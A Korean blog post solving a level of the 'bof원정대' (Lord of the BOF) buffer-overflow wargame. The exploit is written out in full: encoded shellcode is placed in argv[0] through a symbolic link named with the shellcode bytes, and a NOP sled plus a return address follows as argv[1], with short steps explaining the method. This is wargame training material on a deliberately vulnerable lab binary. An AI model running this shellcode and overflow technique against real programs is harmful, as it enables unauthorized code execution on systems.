티스토리 뷰
해답 : ./`python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90"*44+"\xb7\xfb\xff\xbf"'`
argc != 2 로 인해서 그 동안 사용해왔던 argv[2]에 쉘코드를 넣는 방식이 막혔으며 argv[1]은 마지막 줄에서 memset으로 지워지기 때문에 사용불가능합니다. 이 때 사용하는 것이 바로 argv[0]에 쉘코드를 넣는 방식입니다.
문제를 푸는 방식
trolll 심볼릭 링크 생성법
ln -s troll `python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
1. troll.c 를 cp 명령어로 복사한 후 이 것을 이용해서 argv[0]의 주소를 알아냅니다. printf("%p\n",argv[0]);
이 때 이 troll.c를 이용해서 새로 만든 파일은 마찬가지로 쉘코드를 이름은 물론이고 뒤에 쓸 argv[1]에 해당하는 인자값도 모두 넣은 상태로 argv[0] 의 주소를 알아내야합니다.
왜냐하면 argv 값에 따라서 argv[0]의 길이가 변경되기 때문입니다.
2. 심볼릭 링크를 이용해서 쉘코드를 이름으로한 파일을 생성한다.(troll의 심볼릭 링크)
이 때 쉘코드에는 2f가 포함되어서는 안됩니다. 2f = / 이고 이 것이 오류를 일으킵니다.
3. 주소를 알아낸 후에 주소를 코드에 집어넣은 후 문제를 풀어냅니다.
'문제풀이 > bof원정대' 카테고리의 다른 글
bof원정대 golem -> darkknight (0) | 2016.08.18 |
---|---|
bof원정대 troll -> vampire (0) | 2016.08.16 |
bof 원정대 darkelf -> orge (0) | 2016.08.15 |
bof 원정대 wolfman -> darkelf (0) | 2016.08.15 |
bof 원정대 orc -> wolfman (0) | 2016.08.15 |
- Total
- Today
- Yesterday
- 디바이스
- 리눅스 모듈
- 루트킷
- gdb명령어
- PNP 드라이버
- VMware
- 드라이버
- rootkit
- BP
- backdoor
- breakpoint
- vmware cannot connect to the virtual machine
- 변환
- vmware 오류
- LKM
- 모듈
- module
- 레거시 드라이버
- gdb intel 변환
- Intel
- DriverEntry
- IRP
- gdb intel
- gdb 명령어
- 백도어
- GDB
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |